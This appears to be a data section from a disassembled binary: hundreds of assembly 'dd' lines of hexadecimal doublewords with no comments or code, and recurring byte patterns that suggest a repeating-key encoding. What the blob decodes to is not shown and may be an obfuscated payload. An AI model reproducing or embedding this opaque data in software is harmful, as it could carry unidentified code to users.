dd 0EAA2DB36h, 64E43256h, 3CD89E45h, 0A717A2B3h, 0BD8FF7Eh
dd 0A5DFF037h, 0A44453A5h, 0D5B13AD0h, 0E83E3D56h, 15B13256h
dd 0B2C4B937h, 0E82E8D36h, 0BE587039h, 4FB13256h, 8B94E18h
dd 5A7BCBBh, 432C9FBEh, 14A2C098h, 0BAA01EBEh, 51313D56h
dd 0A1B13256h, 57B134DEh, 0AB3B3D56h, 80B13256h, 0EABBDB36h
dd 5E043256h, 0C381693Fh, 0C0EE171Fh, 0AEB123BEh, 36902F56h
dd 0E294B970h, 0F488410Fh, 80241BF3h, 0CBD7A91Ah, 0DBEF55CEh
dd 2676A0A9h, 0C8D1344Fh, 325FE9D7h, 0ABA6B459h, 0C4593256h
dd 51B13256h, 0E21B1458h, 22D5CA44h, 965B5745h, 0B0498EA0h
dd 37EC530Eh, 0CD688D59h, 0EED0F8DDh, 6FBE3E23h, 8A4ECDD6h
dd 0BAB139BFh, 0E7211B56h, 4E85C84Ch, 0A0BDCD4Ah, 0ABA1AEBEh
dd 0D3595256h, 0F9B13256h, 0E617195Ah, 727EB35Fh, 5D085E9h
dd 0BCE9F2E9h, 0BED0531Ah, 0ABB13250h, 24EAEA22h, 16782ED6h
dd 9CB13A94h, 0BAB13258h, 34571A6Bh, 0AAF8D45Eh, 1428AC2Ah
dd 0CBE4C8BDh, 0B3A78336h, 0E5D0FDDDh, 75B130D5h, 0DBE96456h
dd 0D2BEDEDDh, 0AEB1325Ah, 573C3D36h, 0CDB13256h, 0B496B7ECh
dd 0EAB139BFh, 0A4499756h, 1C8C35A5h, 0D18959Bh, 5B4DF6D5h
dd 31E65200h, 0F8E9F1DDh, 0B5E6530Eh, 0EAB120BFh, 85429E56h
dd 0E65448ECh, 6CA0110Ch, 7D365972h, 0BE25B366h, 0ABB13245h
dd 594AC1D3h, 61E3AAABh, 1ECC89C7h, 8A9B7CC8h, 3C0657C8h
dd 25D75205h, 0E56FB397h, 0CAE7902Dh, 0D5B1DAAAh, 6BEB3256h
dd 6C2C8ABCh, 0BAA5DB50h
dd 0CD213256h, 950179ADh, 6F474D0Bh, 0D3B4929h, 5995C6CAh
dd 6148D062h, 0F7BE3A23h, 0BAB13251h, 5DB0BE59h, 25493256h
dd 5158222Bh, 92B13256h, 0FF327841h, 3E6CA45h, 75B1325Ch
dd 0CE97624Bh, 0A15C0B71h, 47E743D6h, 57B1325Dh, 389CB23Eh
dd 7E3D7BA8h, 2FF97A2h, 75B133EEh, 0BAB13CBFh, 1504E256h
dd 0C81AA4CBh, 0D97EFE62h, 0A0538E76h, 23353D96h, 0E5B13256h
dd 75B135D1h, 0BB373D56h, 0A5B13256h, 0BA58CADDh, 0B2B13256h
dd 0FF965B69h, 0D08CC615h, 0C13DFB69h, 9AAA9F70h, 0EFD1FBFDh
dd 9A23CDAEh, 0CEB72B2Dh, 0E07EB330h, 0ABA2DAD8h, 71683256h
dd 143F3714h, 66A06748h, 5F375BFAh, 754B94C6h, 0F3D0689Bh
dd 57BFBD59h, 0A2583256h, 0D8B13256h, 7136D1A5h, 34F99B19h
dd 0B5BD476Dh, 5DB1BAD2h, 0AEBADB56h, 6BFB3256h, 0DE9A234Bh
dd 7D06DE9Eh, 0F43A5484h, 9231CBAAh, 0B4323DA6h, 3DB13256h
dd 9517F3D7h, 0D0BE6BF5h, 0ABB13256h, 3CAFB837h, 0EAB13246h
dd 8AD3E788h, 48C31664h, 0E77931F9h, 0CA503FB4h, 5841D1D6h
dd 0ABB133D9h, 0BF59C756h, 3B1327Eh, 75B13251h, 0B5018D4Eh
dd 0B445A48Ah, 514ECCB8h, 57BDB759h, 2DBE3256h, 0D5B13250h
dd 0EAB1B159h, 7B583256h, 0DBB13256h, 0F7C78D78h, 4C10F851h
dd 624B17B4h, 57CCBB4Eh, 0D5B135BFh, 0ACBD7256h, 8D07368Dh
dd 0BAB134BFh, 6428F656h, 46CE2D89h, 0A84EC428h, 0CDD169AFh
dd 54BEC9DDh, 0EAB13250h, 5B3D1D7h, 0E5D009C5h, 5DB120BFh
dd 0FE189556h, 0C1A20104h, 64352AC7h, 0C7513E0h, 0B47FDBC4h
dd 95305436h, 0B5593ACFh, 0C9B13256h, 387A78B9h, 0A2FB2B4Fh
dd 72AA75F4h, 92084F69h, 0B1ECFDAEh, 89F4B937h, 0BABCDA36h
dd 20C73256h, 0A5AD9E6Eh, 981F02CCh, 1C124DE6h, 64026A6Eh
dd 6CBEFB37h, 75B13245h, 6E095436h, 5DB6DAEBh, 6C5B3256h
dd 499F2CBFh, 69D06D13h, 2049325Ah, 0FA595203h, 0E8B13256h
dd 433D0551h, 5353E708h, 3FF0EC79h, 0EEF373C7h, 94562120h
dd 0C458520Eh, 77B13256h, 241F4B4h, 80244B32h, 9CDA8A9h
dd 29CE8650h, 0BB3A5337h, 5375B1AAh, 0D95865A3h, 0AB13256h
dd 0D9F4326Fh, 11DE40CDh, 0B1AA51Fh, 0AEBDB059h, 0D5BE3256h
dd 0ABB13250h, 0D5B1B459h, 3E03256h, 75B13246h, 2260FD63h
dd 185161A0h, 82B74E1Ah, 0C6304555h, 0ABB4B059h, 29D13256h
dd 0B9D06D06h, 75B121BFh, 80068C56h, 7166874Fh, 0A90C96D4h
dd 9F3DAA41h, 14D424CBh, 0D5497791h, 3B13256h, 75B1325Fh
dd 0F8CBABA1h, 8375625Dh, 133F59Eh, 56B72B2Bh, 42B13256h
dd 0D5B13244h, 589A9A20h, 0BAF8A1B0h, 3B3245F3h, 271563B3h
dd 2549C9F9h, 0DBBE3A23h, 0ABB13250h, 6672B936h, 61D753E8h
dd 2BE35248h, 0F70BB937h, 0A8B72B2Dh, 0CEB96DDDh, 0DE62B330h
dd 68063D58h, 0DA6A3937h, 0EAB1E3D2h, 75A3DB56h, 0FE663256h
dd 734115C3h, 3A52200Eh, 532B45A0h, 10775D41h, 0DA6F09AEh
dd 0EAB14AD3h, 75A0DB56h, 7A1D3256h, 0A06F417Eh, 9144DF4h
dd 1323D067h, 0CBFCAD30h, 7762B236h, 74DFC5E8h, 7E59532Fh
dd 77B13256h, 0EC80C681h, 7F6F4DE3h, 0DCD7556Fh, 20D06B8Fh
dd 54BE3E0Bh, 0EAB1325Ah, 75B7B759h, 30BE3256h, 5DB13256h
dd 0AEA9BA59h, 44583256h, 8B13256h, 1F79815Dh, 0E043DD3Ah
dd 5EEA482Eh, 83AA55F1h, 2388D6Fh, 0A858C75Ah, 0C1B13256h
dd 0BD3090E1h, 0C176B127h, 15FBDBAFh, 7C58CDA9h, 2EB13256h
dd 0F7C15707h, 0CAD0DD67h, 57BFDA36h, 0C4A03256h, 6383A346h
dd 0BB8D6C38h, 8F4F60EBh, 0B5EB5336h, 5DB136D0h, 8C0E5456h
dd 0DCD75356h, 0A6595248h, 0D2B13256h, 5F7A4D1Eh, 0A2532607h
dd 0E5FE13D5h, 0DDD06BA3h, 2ABEDAADh, 57B1361Ch, 0ABB120BFh
dd 35C14956h, 2AFA59EEh, 0C4041987h, 65C5ACA7h, 0DDC123B6h
dd 2ABEDBADh, 57B1367Ch, 404AB2A3h, 0D191B659h, 3D13256h
dd 75B13242h, 3F1F74EFh, 0B27224C5h, 0F9B4BD5h, 38EBD214h
dd 0BF3D315h, 0CC9A93E9h, 0E5D15342h, 75B12AD0h, 0BAA3DA56h
dd 0A11B3256h, 4B6FD961h, 6C2584EEh, 23FCCA37h, 0D8B6B1EBh
dd 8B69B90Fh, 7A53C9D6h, 0BAB2F5D2h, 5DB4DB56h, 806B3256h
dd 375AE0F4h, 0ABB7BD59h, 3D303256h, 80AF136Eh, 33B48A30h
dd 594AB237h, 5ED2B659h, 0BE583256h, 5FB13256h, 0B6E668AEh
dd 0AD724B5Ch, 9B60B4CBh, 132D289Ah, 59D6C9D7h, 5E33B659h
dd 0A1D13256h, 57B139D5h, 0ABB7DB56h, 0FE133256h, 2236C3Ah
dd 144BB930h, 0B541D5D6h, 5DB129D3h, 0BB3D3D56h, 0BEB13256h
dd 0ABB13246h, 98F4F162h, 4A612CC5h, 5E514E6h, 55365575h
dd 524AB330h, 0E5353DD6h, 58B13255h, 0ABB139DAh, 0D5B7DB56h
dd 8E4D3256h, 4E11F33Ah, 0DA41D1D6h, 657EB330h, 0CF1F811Dh
dd 0B8305436h, 0A4E0FF71h, 0D5B132D2h, 6AD06856h, 0F1BE42ADh
dd 0BAB13140h, 433A54AEh, 0AEB123BFh, 7E8A2E56h, 0F7F66F05h
dd 0D9C9D6Ah, 99BD892Ch, 96311154h, 0BABDDBAEh, 348B3256h
dd 71751D82h, 2587DDE6h, 0A4D10DAAh, 0D5B131D9h, 2D0E3D56h
dd 8E3153A3h, 39353DEEh, 0B4B13257h, 0AEB13253h, 0D8EC39C3h
dd 0AE8FB206h, 0D4C1B659h, 3D13256h, 75B1325Ch, 0A8AD77E6h
dd 0EDC86BC9h, 10D7C8AFh, 0D7D08279h, 2FBE1F68h, 0D5B13304h
dd 0EAB122BFh, 4DA3E556h, 5AD9748Dh, 50E41056h, 90D0FB5Ch
dd 3F8FB217h, 0AA85B659h, 5EBE3256h, 0EAB1324Bh, 75A6B159h
dd 0A8583256h, 95B13256h, 0FC19002h, 0EB28D3DEh, 5B98B4F3h
dd 7B1D5086h, 0EAB6DB05h, 94F73256h, 0A6BF63B9h, 0F233CDFBh
dd 0A1B72B2Bh, 57B139D5h, 11D75256h, 54D722E2h, 8B044B84h
dd 9CAFB930h, 0BAB13253h, 36C9E3F9h, 25D752DDh, 57B7DAADh
dd 0CB6D3256h, 0FD3910F3h, 0EAB1BD59h, 14EF3256h, 4649D5D6h
dd 0DC4AB330h, 15353DBEh, 58B13256h, 0ABB133DAh, 5ED7CB56h
dd 0D31CB48h, 0F4D7C7A6h, 0B571B3ADh, 5DB193D2h, 563A5256h
dd 2741B330h, 0A4D153D7h, 0D5B122D0h, 0EABADB56h, 0F2E03256h
dd 629F42FFh, 8DCF5493h, 0BF586796h, 0FCB13256h, 0A65902D2h
dd 4858B189h, 0BD25705Bh, 49B31071h, 0C176A0A9h, 5158344Fh
dd 7B13256h, 0D5549A36h, 4DCF36B5h, 88BF8CC1h, 0EAB0BF59h
dd 0FC493256h, 0B5D1CE13h, 5DB12AD9h, 0AEA2DB56h, 44933256h
dd 87BA6CA1h, 80EA5E80h, 0CE7625DAh, 0BD82F367h, 0DB7AB91Ch
dd 0EFD15237h, 0AE313DFCh, 36B13256h, 57CCB137h, 9D343D57h
dd 8AB13254h, 75B6DBAFh, 281A3256h, 0F21147C5h, 143A5397h
dd 51A23CEFh, 0ABB13CBFh, 0C4795256h, 353B187Eh, 70611B70h
dd 4F904442h, 4C3A3D06h, 47B13256h, 57B1325Ah, 4DE7E549h
dd 0AA7AEB29h, 1D731242h, 0DA33B9AFh, 0DAB72B2Bh, 8E31E3DCh
dd 9288535Ah, 0D6D75266h, 42E3798Dh, 0D5B13253h, 0D26C81D8h
dd 2D48535Ah, 0BB6CB059h, 0B5D13256h, 0AEB1325Ah, 0D2BCEC95h
dd 67DB27E6h, 0ECDAE4F3h, 0B57B8D59h, 1490E4D6h, 932888DDh
dd 0D9BE3445h, 0AEB13241h, 57B120BFh, 80428756h, 12442389h
dd 8725E204h, 2DD95CEEh, 0EA2648EAh, 5DB6BE59h, 24BE3256h
dd 57B13257h, 433B9AEh, 0B5B72B2Bh, 0DA8D0B37h, 410E5436h
dd 0AC363DD8h, 0B5B13256h, 0AEB13246h, 0A43367BFh, 0C6794ED8h
dd 47DD8D32h, 7E675628h, 0FED1530Ch, 0DBD152A6h, 3C4ED8D6h
dd 21BE6A37h, 57B13305h, 0ABA0BA59h, 0D9583256h, 1AB13256h
dd 96A36A78h, 20C6C4C2h
dd 0B4DE2552h, 0AEB13218h, 0AFF4F5AEh, 0ABB13254h, 0D5AABD59h
dd 6ABE3256h, 75B13243h, 0BAB122BFh, 43652056h, 8B0D2B85h
dd 6B3B7B02h, 4B35698Bh, 0CA58C71Ah, 1FB13256h, 75BBB759h
dd 0BF583256h, 0E3B13256h, 9C3FC317h, 56497791h, 0A4B13256h
dd 0D5B133DEh, 503ACA56h, 73A8491Bh, 433A5436h, 5DB13DBEh
dd 0B04EAC56h, 2404432h, 0B91A700Ch, 6BA5BFF2h, 7C398930h
dd 6A3A530Dh, 0BAB123BFh, 8D4E6256h, 0CF60E4CDh, 8A1161E0h
dd 6AE1FC41h, 0EBAF28Ah, 0EA14B659h, 0F4D13256h, 3725F285h
dd 0DEBE5203h, 0AEB13256h, 0A97BC1D7h, 0CAD02FD8h, 50BEEC6Dh
dd 0EAB13201h, 13D05236h, 31D0C2DDh, 0B4D13E0Bh, 0AEB13250h
dd 230C599Ch, 503A77E2h, 2DCCB137h, 0CB353D56h, 9CB13256h
dd 0BAB13251h, 641F80D5h, 52E6E580h, 0BE496F55h, 0ABB1325Ah
dd 26976B34h, 6EB14084h, 3C392BA1h, 53B56DDFh, 5DB1325Dh
dd 0EFD46AF1h, 35FC6898h, 28924051h, 58BE2691h, 0EAB13257h
dd 8AEDDBA3h, 0ECD1CDA9h, 0BBF2F8D7h, 0C8EF00E9h, 64D0E8DDh
dd 0CA485296h, 0D5B476BFh, 0F50B5256h, 13CB4EFBh, 0DCD0E1DDh
dd 5A582CDDh, 0BB13256h, 5365223Ah, 43D1CBCFh, 0D5B1325Eh
dd 0F8210373h, 0A7F3D9BDh, 0DBEB5336h, 52BD4FDDh, 0AEB13BDDh
dd 58445256h, 0ABB132DFh, 2E315356h, 89353DBDh, 7AB13256h
dd 0BAB121D9h, 57585256h, 0F9B13256h, 0BD98A298h, 63977EF1h
dd 0B46FB931h, 0E541D1D6h, 75B123DAh, 0B13A3D56h, 0B4B13256h
dd 0AEB13250h, 0B8CAF06Ah, 50313D5Dh, 66353D26h, 16B13256h
dd 1E338A36h, 0B5D1381Fh, 5DB132DBh, 47D05356h, 57B13368h
dd 0ABBDB359h, 50BE3256h, 0EAB13250h, 75B1B659h, 0BD773256h
dd 5B373DBFh, 0CEB13256h, 0AE70B930h, 0AAF6F537h, 0D5B13256h
dd 0EAB9DB36h, 0E2A3256h, 0FB92B8B0h, 50588BCAh, 94B13256h
dd 4F459262h, 7425B8C7h, 8ABB6116h, 8A76B937h, 0CE06EAD7h
dd 0E8D11B63h, 0B230540Fh, 0CFD0AA20h, 57B120BFh, 0A76C2D56h
dd 3E35461Bh, 0FDC4BA23h, 0D5391860h, 391B30AEh, 50583796h
dd 0E0B13256h, 5AAE8FBAh, 0BD2BEBEAh, 220DB152h, 0EAB512BFh
dd 0BE305256h, 0EFF19B64h, 0BD305436h, 910799E4h, 90D75337h
dd 57B93D51h, 0B3D12CDCh, 5178F7ECh, 134A9BFDh, 0BAA3DB37h
dd 811B3256h, 0F12BFA35h, 8C0199AEh, 2CCF3508h, 30332D5Ah
dd 8ABED1D6h, 75B13FBFh, 2028E556h, 0E0C9D100h, 0C5EA88E5h
dd 0DCD7C69Ah, 603153A7h, 8A39CBD6h, 24095257h, 1488949Bh
dd 0BAB37591h, 0B4B13256h, 0AEB13253h, 37A1CA78h, 4276B91Fh
dd 0D5B1325Ch, 0FA40794Ch, 101BEE35h, 7A32CF8Dh, 0CF58CE50h
dd 0CEB13255h, 3B7BD1D7h, 0AD595371h, 8B13256h, 8E191BB8h
dd 75BBDB1Eh, 2DA13256h, 49BA546Eh, 0F50E9B7Ah, 0D6D7530Dh
dd 0A421A268h, 0D5B14FD2h, 0B305256h, 0F3220BCh, 0BAB2B859h
dd 89313256h, 9031538Bh, 3B343DC6h, 0CBB13256h, 0D5B138BFh
dd 0B65B6E56h, 3F7271A7h, 2C70111h, 32468447h, 0AEBBDB37h
dd 0FD863256h, 66C29F98h, 0D09847C4h, 15CFB330h, 0F1BEA2C6h
dd 0BAB13264h, 5DB138BFh, 95032C56h, 0B4292601h, 42ED1B4Ch
dd 0D5B1325Ch, 0D180ACF2h, 5086547Ah, 0A2583E6Bh, 52B13256h
dd 0AEB13BDDh, 584D5256h, 0ABB132D6h, 123A5356h, 0E86EDBAEh
dd 0F84D3256h, 0A3CFADD4h, 0CD095250h, 0C8A85B5Dh, 0BE1FBD7h
dd 0FD486237h, 0D23CDA3h, 12B72B2Dh, 9CD1C736h, 0BAB1325Bh
dd 0C312EA5h, 2ECBD56Fh, 956B1E59h, 0CAE5822Fh, 0DA713937h
dd 0EAB192D2h, 64585256h, 0E8B13256h, 0BCFCC181h, 901C6972h
dd 413C0CA3h, 0CE348243h, 0D5B134BEh, 0A6A4E856h, 13FA42FAh
dd 62C7E4D7h, 953A5308h, 0AEA9B059h, 0D2BE3256h, 0ABB13244h
dd 0D5B13FBFh, 4EA29B56h, 6576E1BAh, 68185B2Fh, 0D0BEF8B6h
dd 0AEB13243h, 57B122BFh, 496B7E56h, 75E305BBh, 0E11F6F4h
dd 0F8F1EBE4h, 2503BFAEh, 0B4B72B28h, 0AEB1325Ah, 0CFD5CA44h
dd 605B5745h, 0CB498EA0h, 0EAB1A8BFh, 6F303D56h, 0DAB13256h
dd 5DB120BFh, 0BDD61D56h, 21DC20FCh, 3D155F5Eh, 6A6FD7BAh
dd 168CBB70h, 64586437h, 2AB13256h, 0E27DB621h, 61640F12h
dd 2AE3D027h, 0F236732Ah, 0D5B137BFh, 84BC4356h, 0BB3A433Dh
dd 0A9586136h, 8BB13256h, 9027A4A8h, 80A0637Eh, 9C69927Eh
dd 0ECFD4201h, 8CEA9F02h, 7A10E4D7h, 0B4586737h, 0ACB13256h
dd 0AAB0D030h, 8F4C7EA2h, 0B50C33Ch, 1223CDCDh, 13B72B2Dh
dd 0B500520Bh, 0DBE8CA05h, 0AA49FC7Dh, 25D7528Fh, 57333DA6h
dd 0CAB13256h, 56446CAAh, 0E5B0CA2Bh, 75B181D3h, 0BE3E3D56h
dd 3DB13256h, 1ED0FDDDh, 57B4DB1Fh, 0AB883256h, 7F2A9E13h
dd 0EAB9B659h, 0F0BE3256h, 0BAB13254h, 0DCD15336h, 4662ED85h
dd 0EFD7535Ah, 28BEB759h, 0D5B1325Ah, 0EAB7BE59h, 0F2BE3256h
dd 0BAB13256h, 0DEBE9930h, 0AEB1325Eh, 57B3BA59h, 0CAD13256h
dd 0F90B6536h, 0B4E3A09Eh, 33073D37h, 38BE5257h, 5DB13246h
dd 0AEB138BEh, 0BDB0E256h, 9F328E99h, 8A9851DDh, 3960B330h
dd 7A1A53CEh, 0BAB133D0h, 8458CA56h, 47B13256h, 57B13245h
dd 0DB8CB33Dh, 3EFFF384h, 0A69295F1h, 0AC445994h, 0B5EB4817h
dd 5DB139DAh, 0AEB7DB56h, 45F03256h, 99BF3DA4h, 0D7494FD5h
dd 0EA3BB759h, 0F5D13256h, 0DBE6F8Fh, 0E5D7539Dh, 22BEFB5Dh
dd 57B1325Bh, 0ABB13ABFh, 7C4E756h, 340B3E02h, 610A5230h
dd 319EE6CAh, 0F6D7538Ch, 0A10954AAh, 0FCD7C7D2h, 0ED073DAFh
dd 6ABE5257h, 93054A6h, 7AD0B71Bh, 0BAB121D8h, 5DBFDB56h
dd 5A463256h, 9F4C8E47h, 9B4F5A32h, 0E3C68054h, 0EAA0DBFDh
dd 0DFBA3256h, 1263930Ch, 40A5A8F1h, 0B19C66EFh, 0BED9B2EBh
dd 0ABB13266h, 0D5B0B959h, 0E5483256h, 75B135D5h, 3BD75256h
dd 3CF821A4h, 47D196A5h, 57B13251h, 10ECAD60h, 0B5A478EFh
dd 1D28D30h, 14D0F5DDh, 0DB6FB936h, 4F58F5DDh, 65B13256h
dd 5BEB4F5h, 3C3DE77Eh, 73F96A42h, 769868F4h, 2C496957h
dd 0BAB121BFh, 23196156h, 6740F0F4h, 0BCE8E328h, 0C75E74FEh
dd 0FFA76AF4h, 0EAB13ABFh, 0CE407656h, 0A792344Bh, 5A586C68h
dd 8BB13256h, 8B0EA6FCh, 28BEA7B0h, 0D5B1325Eh, 0EAB3B059h
dd 14D13256h, 31D75209h, 3CD152ADh, 0AEB137BFh, 6B814A56h
dd 0CAD0E175h, 0DD73CB9Fh, 0E8323D56h, 15B13256h, 0B5D15237h
dd 5DB132DAh, 0A76EB356h, 36FE2861h, 0CAEACE06h, 0C63F3D03h
dd 3B13256h, 75B13258h, 0F948DA5h, 96330F5Dh, 65443F18h
dd 0BB3A77FDh, 0BA5852AAh, 0EFB13256h, 7E94CE56h, 90187076h
dd 0FB76D89Fh, 8FBFDD0Eh, 0AEB132BEh, 0BD306856h, 0ADA89EBDh
dd 0D5B13DBFh, 450E2F56h, 828873E0h, 0BA55CCE2h, 43C2DA50h
dd 0AEB126BFh, 702BB256h, 708C28D9h, 0E78406C3h, 5BEC1F04h
dd 0C7F651BFh, 0FF3ACEDCh, 5DBCDB5Eh, 763D3256h, 73E47155h
dd 30A5AA19h, 0B580C34Ch, 0EAB120BFh, 0BBF13656h, 3958233Dh
dd 11FCC6C5h, 6A6F5A12h, 0DDEB390Ah, 293853BDh, 0D3A84924h
dd 0EAB139BFh, 9250FC56h, 0D9241A44h, 69860D05h, 0A85853AAh
dd 0E4B13256h, 3412C0E8h, 0DE58FBB6h, 26B13256h, 0EFF8F647h
dd 4264DEF0h, 0D2BE2D37h, 0AEB13257h, 57B5F0AFh, 574467AEh
dd 0B4D1DEDDh, 349F6D5h, 75B13244h, 0BE680CFFh, 875B785Ah
dd 0F5FF7C6h, 0EDF896C8h, 0CB4954BFh, 0D5A2B359h, 0E4583256h
dd 0A4B13256h, 7C3E9134h
dd 0DBF3E50Dh, 108F061Eh, 5759CE01h, 0F1B13256h, 7860D8D7h
dd 0E358344Fh, 0B7B13256h, 0FFC297C5h, 5F6BDE6Bh, 356EB336h
dd 5890385Dh, 0CBD0FAE1h, 0D5B7B859h, 23303256h, 0F812436h
dd 0DB7FB930h, 5D497791h, 47B13256h, 57B13247h, 0B2F3784h
dd 46C54068h, 7ABE0641h, 0A22E42F6h, 46F4F580h, 5DB13256h
dd 0AEB13CBFh, 0A7AB8A56h, 0DFC8172Dh, 0D07C5E46h, 0D9EEE959h
dd 0F9BE5296h, 0BAB13250h, 5DB1B559h, 0CED03256h, 5158E1DDh
dd 0F1B13256h, 22529100h, 61D75378h, 75B9DB48h, 0C5373256h
dd 7304B4EFh, 2C76389Dh, 51A84FF9h, 0ABB13257h, 0D5A0B159h
dd 0E6583256h, 4DB13256h, 81222AC0h, 0F9624940h, 0A158DAFAh
dd 57B133DAh, 2AD7CB56h, 0DA21A2ADh, 0EAB129D3h, 75BCDB56h
dd 407E3256h, 8A310C1h, 88E4272Bh, 379D7971h, 5C84C0EEh
dd 0B46FB975h, 0E559C9D6h, 75B426D2h, 0B5F1CE56h, 5DB123DBh
dd 0A5313D56h, 0BEB13256h, 0ABB13250h, 0F4A743CDh, 1131A972h
dd 87353DBFh, 0B5B13252h, 5DB12BD4h, 0AEA5DB56h, 69823256h
dd 1C64E775h, 46D9ADCDh, 1E4C22DDh, 0CD3920D1h, 46F1CA15h
dd 525AC9D6h, 0AEB5FAD2h, 57B7DB56h, 45AD3256h, 0F776B7CCh
dd 8B6FB936h, 9231CE16h, 0AB5852A6h, 84B13256h, 4D761EDCh
dd 94B92EADh, 81EA29AFh, 0A133EEEDh, 11305437h, 0F1BEB259h
dd 0BAB136C7h, 7C3331AFh, 5BB72144h, 31D15216h, 21C9C0D7h
dd 0D5B120BEh, 0D4FC4C56h, 3A733A43h, 0F5318820h, 56FCFF12h
dd 0F70CA3E3h, 57A1DB37h, 99DB3256h, 0FC6591B7h, 18B997D0h
dd 436B3ACBh, 3AD04761h, 0D9BED0ADh, 0AEB13649h, 3660B936h
dd 0A452C9D6h, 0D5B2DED2h, 0E53D3D56h, 9CB13256h, 0BAB1325Ch
dd 34F20532h, 0E51721D5h, 0BFD126EBh, 0ABB13246h, 0E101CCBEh
dd 17879270h, 0A9655ADCh, 412FBCB3h, 5DB120BFh, 1198FD56h
dd 80B5D8Dh, 0C4AA1F0Eh, 0BBFB4A2Ch, 0B2CB1DFCh, 2C53B330h
dd 3BD75342h, 525255ADh, 0AEB28CD2h, 0A03A5256h, 0B9FC8A30h
dd 2552B237h, 0EAB9BF59h, 0F1BE3256h, 0BAB13254h, 0A6315336h
dd 68353D26h, 0BEB13255h, 0ABB13247h, 0A93473DCh, 10A85B5Fh
dd 23EF3AE7h, 0B7125A99h, 433A54AEh, 5652B2A3h, 57B0BE59h
dd 2B483256h, 51BE8AADh, 0EAB133F1h, 75B13EBFh, 8B82CA56h
dd 4BA9D1E0h, 68EACBCh, 528FB2FCh, 0AA3CB659h, 57BE3256h
dd 0EAB13244h, 75B13FBFh, 85044356h, 0C1ECF4EFh, 0C57656A3h
dd 0D5BE286Eh, 0ABB1325Dh, 0D5B134BFh, 0A3CFC356h, 0F580AB5Ah
dd 3EBE1F68h, 5DB1330Dh, 770E3D36h, 3640B930h, 0A4D90CD6h
dd 0D5B078D2h, 1FF1CE56h, 733B3D36h, 0B5B13256h, 5DB132DBh
dd 2C4E5356h, 51A84FF9h, 0ABBCDB36h, 7B773256h, 1D469053h
dd 322868E4h, 0DB3F068Eh, 3DAFB930h, 0AEB7B759h, 9C303256h
dd 0AF8D9693h, 0D5B3BD59h, 0B5E13256h, 0F4D75237h, 0B561F891h
dd 5DB130DBh, 0CFEB6256h, 3749D5D6h, 0CDD05236h, 0B4F1C4EDh
dd 0EAB126BEh, 0F2DBAC56h, 729231AEh, 0F9EE448Ch, 0DA35EDEEh
dd 31E765EBh, 0CDD06B5Fh, 3D30C9D7h, 0EA74B659h, 134D3256h
dd 30BE2CDDh, 5DB1325Ah, 0AEB7BC59h, 0DEBE3256h, 0ABB13256h
dd 2556B2AAh, 0EAB135BFh, 8E04A756h, 0EDE20968h, 0A63054AAh
dd 2ABEF2D7h, 57B132C5h, 24BE52AEh, 0D5B13251h, 0EAB0B259h
dd 20443256h, 0BAB13CBFh, 5DD41356h, 0D9A15767h, 0B0462052h
dd 5483668Eh, 0CCCAF5C4h, 60D15250h, 0BC305490h, 0B5D0E122h
dd 5DB130D9h, 0CFD05256h, 5B303D0Bh, 0A4B13256h, 0D5B134DEh
dd 0EA3F3D56h, 9CB13256h, 0BAB13259h, 1D3197D8h, 0BA58AABCh
dd 1AB5CACh, 22567835h, 0D958CE13h, 0E4B13256h, 4F83F0Ch
dd 0FB5F9702h, 0B4ED09D7h, 0AEB1325Ch, 0AE558F8Dh, 172DDC10h
dd 29D09008h, 0EB4D4FD5h, 73DDB759h, 31483256h, 4EBF8BECh
dd 0B3353D50h, 58B13256h, 0ABB125D5h, 0D5A3DB56h, 5A593256h
dd 0F961C828h, 5A162C56h, 6D527C1Fh, 0D26CFDA7h, 57B4DB06h
dd 5CAF3256h, 5E9D6255h, 0F3CC9DD4h, 4988CE50h, 0BAB8DB66h
dd 83CD3256h, 0BC459066h, 58A6CB91h, 0ABB137D7h, 5ED75256h
dd 0E5E95398h, 75B73FD4h, 3ACB56h, 5BA21BCFh, 0AEA8BB59h
dd 43583256h, 0BEB13256h, 93FA8399h, 0D194DF8Eh, 7E7F1226h
dd 4B46FE6Ah, 0DD1CFB2h, 0AEBEBB59h, 5D583256h, 4AB13256h
dd 252C589Ah, 36E4D9F2h, 0F73ACB42h, 0BCA84FF9h, 5F3A3D36h
dd 0F8B13256h, 6B88530Fh, 0A4E9C766h, 0D5B487D9h, 0FB393D56h
dd 9CB13256h, 0BAB1325Ah, 9BD6DECEh, 9AD1AB5h, 0DB9D7B88h
dd 0F00BB9AAh, 0DAB72B2Dh, 0EAB123D4h, 7E353D56h, 53B13256h
dd 5DB13250h, 0A5B3F970h, 0D5321EC6h, 0ADA8490Dh, 55D1CE42h
dd 63D0CF8Eh, 0A2315261h, 703A542Ch, 4DF6BB37h, 0A5585236h
dd 0A8B13256h, 27CFD820h, 68F11B20h, 6BD7F75Dh, 1494B3BEh
dd 3FBE6237h, 5DB13243h, 0AEBEB159h, 5D583256h, 32B13256h
dd 48BA67AEh, 661C2331h, 0DA33B999h, 46B72B2Bh, 0B4812EDDh
dd 0AEB1325Dh, 328A6A2Bh, 0E95ECE14h, 8D9C6878h, 0EAA6BA59h
dd 67583256h, 98B13256h, 40F6B686h, 0DA78056Ch, 82DAD076h
dd 0B5F61D3Bh, 0DDEEBBEAh, 8C748236h, 14D25FE9h, 0BAB5DBBFh
dd 47323D56h, 0A1B13256h, 57B126DEh, 0ABBEDB56h, 17333256h
dd 89769EC7h, 3363AD93h, 0E9204167h, 0A5F4F593h, 0AEB13254h
dd 99063D36h, 7C305237h, 0C5662337h, 0EA86DB37h, 0F4BE3256h
dd 0BAB13251h, 5DB0B959h, 694D3256h, 57B0CA13h, 42D13256h
dd 0D5B1325Dh, 3536251Ah, 0CA37E1CBh, 0B5B77108h, 5DB139D7h
dd 0AEB4DA56h, 302B3256h, 0F08E48C2h, 8E0BB937h, 8AB72B2Dh
dd 75B0BA59h, 0DB4D3256h, 26EAB0D5h, 0CEA5344Fh, 57A3B159h
dd 0A7593256h, 0CAB13256h, 64303C1h, 3D110AD7h, 0E147BFC8h
dd 3BEE6436h, 81DBC4D7h, 0D0BE5337h, 0ABB13257h, 2C86BBA3h
dd 8AA175DFh, 7649B137h, 0BA87B759h, 9A443256h, 0B7CC9DD4h
dd 57B13050h, 0ABBADB56h, 7F6F3256h, 0D0C7669h, 0A24B3D68h
dd 0BA91DB9Dh, 4C583256h, 2FB13256h, 3E243C5Eh, 29F88E4Bh
dd 34796209h, 0D500E90Fh, 7AB3CAD5h, 0BAB309DBh, 2032C756h
dd 2ABE32AEh, 57B132D7h, 0ABBAB059h, 55D13256h, 6DBEF7B6h
dd 75B13256h, 0CBEC737h, 0F44D3310h, 0AEB132D6h, 5795B759h
